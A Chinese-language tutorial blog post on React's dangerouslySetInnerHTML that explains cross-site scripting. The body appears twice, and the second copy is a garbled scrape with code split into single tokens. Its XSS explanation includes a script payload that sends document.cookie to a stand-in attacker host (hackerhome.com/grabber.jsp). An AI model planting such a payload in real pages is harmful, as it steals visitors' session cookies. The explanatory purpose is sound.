让 React 正常显示你的 html 代码: dangerouslySetInnerHTML

做项目需要把服务器接口传过来的 HTML 文本字符串转换成 DOM 对象。

有两种方法:

第一种用 innerHTML;

function parseToDOM(str){
var div = document.createElement("div");
if(typeof str == "string")
div.innerHTML = str;
return div.childNodes;
}
1
2
3
4
5
6
function parseToDOM(str){
var div = document.createElement("div");
if(typeof str == "string")
div.innerHTML = str;
return div.childNodes;
}
现在主要说的是第二种:

多数时候 DOM 是透过 render 中设定的结构来处理,有些时候我们想透过字串形式的 html 来做操作时,dangerouslySetInnerHTML 就可以派上用场,将字串转译给 render 来使用; 也可将 Unicode 的编码做呈现,也能防止 XSS。:

<div
className="content"
dangerouslySetInnerHTML={{ __html: this.state.html}}
/>
1
2
3
4
<div
className="content"
dangerouslySetInnerHTML={{ __html: this.state.html}}
/>
用开发工具来检视时,透过 dangerouslySetInnerHTML 产生的 DOM 不会有 data-reactid。实际应用上,在制作复杂的 component 时,也许可以使用它的方法,运用字串的操作来降低 render 时的结构复杂度。

如果你将这段代码放在正常的 html 页面中,它是会换行的,在 React 中则不会,因为 react 不会自动帮你解析你的 html 代码,就像你将上面的 getInitialState

改为:

解析出来的还是这样的一段代码

这是为什么呢?找到的解释是这样的:

不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候,经常会出现错误,不合适的净化也是导致网页攻击 的原因之一。

我们的设计哲学是让确保安全应该是简单的,开发者在执行 “不安全” 的操作的时候应该清楚地知道他们自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设

计的,以此来警告,它的 prop 值( 一个对象而不是字符串 )应该被用来表明净化后的数据。

将上面的代码改为如下,就可以访问了:

《让 React 正常显示你的 html 代码: dangerouslySetInnerHTML》

这么做的意义在于,{html:…} 背后的目的是表明它会被当成 “type/taint” 类型处理。 这种包裹对象,可以通过方法调用返回净化后的数据,随后这种标记过的数据可以。注意html 是两个_

被传递给 dangerouslySetInnerHTML。

这个功能主要被用来与 DOM 字符串操作类库一起使用,所以提供的 HTML 必须要格式清晰(例如:传递 XML 校验)

这些解释是来自于官方说法。读完有点一头雾水,这是因为我们不了解什么是 cross-site scripting (XSS) 攻击,当你了解这个攻击的时候,其实理解起来就比较好理解一些

什么是 cross-site scripting (XSS) 攻击:

XSS** 示例**

在深入了解 XSS 的各个方面之前,让我们首先了解 XSS 攻击到底是怎样完成的。

就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下 HTML 标记:

<Script>alert(“XSS attack available!”);</Script>
1
<Script>alert(“XSS attack available!”);</Script>
  在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

<div>
<Script>alert(“XSS attack available!”);</Script>
</div>
1
2
3
<div>
<Script>alert(“XSS attack available!”);</Script>
</div>
  而从用户的角度来看,该网页中就出现了一个警告:

《让 React 正常显示你的 html 代码: dangerouslySetInnerHTML》

也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

<script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
width=16 height=16 border=0 />');</script>
1
2
<script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
width=16 height=16 border=0 />');</script>
  该段脚本将向当前评论内插入一个图片,而该图片所对应的 URL 则指向了 hackerhome 中的 JSP 页面 grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该 JSP 页面将自动记录传入的 msg 参数内容,即访问评论用户所使用的 cookie。该 cookie 可能包含用户的敏感信息,甚至是用户名,密码等重要信息。

所以,react 的做法是不直接读取你的 html 代码,以此来避免 cross-site scripting (XSS) 攻击,让你的代码更加安全

更多关于 cross-site scripting (XSS) 攻击的介绍,可以参考这篇文章:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html做项目需要把服务器接口传过来的 HTML 文本字符串转换成 DOM 对象。

有两种方法:

第一种用 innerHTML;

<textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 116px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

|

1

2

3

4

5

6

|

function

parseToDOM

(

str

)

{

var

div

=

document

.

createElement

(

"div"

)

;

if

(

typeof

str

==

"string"

)

div

.

innerHTML

=

str

;

return

div

.

childNodes

;

}

|

现在主要说的是第二种:

多数时候 DOM 是透过 render 中设定的结构来处理,有些时候我们想透过字串形式的 html 来做操作时,dangerouslySetInnerHTML 就可以派上用场,将字串转译给 render 来使用; 也可将 Unicode 的编码做呈现,也能防止 XSS。:

<textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 86px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

|

1

2

3

4

|

<

div

className

=

"content"

dangerouslySetInnerHTML

=

{

{

__html

:

this

.

state

.

html

}

}

/

|

用开发工具来检视时,透过 dangerouslySetInnerHTML 产生的 DOM 不会有 data-reactid。实际应用上,在制作复杂的 component 时,也许可以使用它的方法,运用字串的操作来降低 render 时的结构复杂度。

如果你将这段代码放在正常的 html 页面中,它是会换行的,在 React 中则不会,因为 react 不会自动帮你解析你的 html 代码,就像你将上面的 getInitialState

改为:

解析出来的还是这样的一段代码

这是为什么呢?找到的解释是这样的:

不合时宜的使用

innerHTML

可能会导致

cross-site scripting (XSS)

攻击。 净化用户的输入来显示的时候,经常会出现错误,不合适的净化也是

导致网页攻击

的原因之一。

我们的设计哲学是让确保安全应该是简单的,开发者在执行 “不安全” 的操作的时候应该清楚地知道他们自己的意图。

dangerouslySetInnerHTML

这个 prop 的命名是故意这么设

计的,以此来警告,它的 prop 值( 一个对象而不是字符串 )应该被用来表明净化后的数据。

将上面的代码改为如下,就可以访问了:

[图片上传失败...(image-78a5a2-1513577814895)]

这么做的意义在于,{

html:…} 背后的目的是表明它会被当成 “type/taint” 类型处理。 这种包裹对象,可以通过方法调用返回净化后的数据,随后这种标记过的数据可以。注意

html 是两个_

被传递给 dangerouslySetInnerHTML。

这个功能主要被用来与 DOM 字符串操作类库一起使用,所以提供的 HTML 必须要格式清晰(例如:传递 XML 校验)

这些解释是来自于官方说法。读完有点一头雾水,这是因为我们不了解什么是

cross-site scripting (XSS)

攻击,当你了解这个攻击的时候,其实理解起来就比较好理解一些

什么是 cross-site scripting (XSS) 攻击:

XSS*

  • 示例**

在深入了解 XSS 的各个方面之前,让我们首先了解 XSS 攻击到底是怎样完成的。

就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下 HTML 标记:

<textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 41px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

|

1

|

<Script>

alert

(

XSS

attack

available

!

)

;

</Script>

|

在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

<textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 71px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

|

1

2

3

|

<

div

<Script>

alert

(

XSS

attack

available

!

)

;

</Script>

<

/

div

|

而从用户的角度来看,该网页中就出现了一个警告:

[图片上传失败...(image-5197c6-1513577814895)]

也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

<textarea class="crayon-plain print-no" data-settings="dblclick" readonly="" style="box-sizing: border-box; margin: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 12px !important; line-height: 15px !important; font-family: Monaco, MonacoRegular, "Courier New", monospace !important; color: rgb(0, 0, 0); overflow: auto; width: 698px; padding: 0px 5px; height: 62px; position: absolute; opacity: 0; border: 0px; border-radius: 0px; box-shadow: none; white-space: pre; word-wrap: normal; resize: none; background: rgb(255, 255, 255); tab-size: 4; z-index: 0;" wrap="soft"></textarea>

|

1

2

|

<script>

document

.

write

(

'<img src=http://www.hackerhome.com/grabber.jsp?msg='

document

.

cookie

'

width=16 height=16 border=0 />'

)

;

</script>

|

该段脚本将向当前评论内插入一个图片,而该图片所对应的 URL 则指向了 hackerhome 中的 JSP 页面 grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该 JSP 页面将自动记录传入的 msg 参数内容,即访问评论用户所使用的 cookie。该 cookie 可能包含用户的敏感信息,甚至是用户名,密码等重要信息。

所以,react 的做法是不直接读取你的 html 代码,以此来避免

cross-site scripting (XSS)

攻击,让你的代码更加安全

更多关于

cross-site scripting (XSS)

攻击的介绍,可以参考这篇文章:

http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,496评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,407评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,632评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,180评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,198评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,165评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,052评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,910评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,324评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,542评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,711评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,424评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,017评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,668评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,823评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,722评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,611评论 2 353

推荐阅读更多精彩内容

  • 攻击活动 SQL(结构化查询语言)注入 概述 一个SQL注入攻击包含了从应用客户端的输入数据中注入或嵌入的方式,一...
    夏夜星语阅读 909评论 0 0
  • 跨站脚本(XSS)是web应用中的一种典型的计算机安全漏洞。XSS允许攻击者可以在其他用户浏览的web页面中注入客...
    留七七阅读 7,946评论 1 26
  • 前言 对于一个影子杀手而言,总能杀人于无形。前端也有影子杀手,它总是防不胜防地危害着你的网站 本篇打算介绍一些前端...
    Layzimo阅读 658评论 0 1
  • HTML HTML5新增加的内容或者APIAPI层canvas: 用来写游戏还是很不错的,推荐开源游戏框架:pix...
    FConfidence阅读 456评论 0 3
  • 本博客转自:「作者:若愚链接:https://zhuanlan.zhihu.com/p/22361337来源:知乎...
    韩宝亿阅读 2,762评论 0 3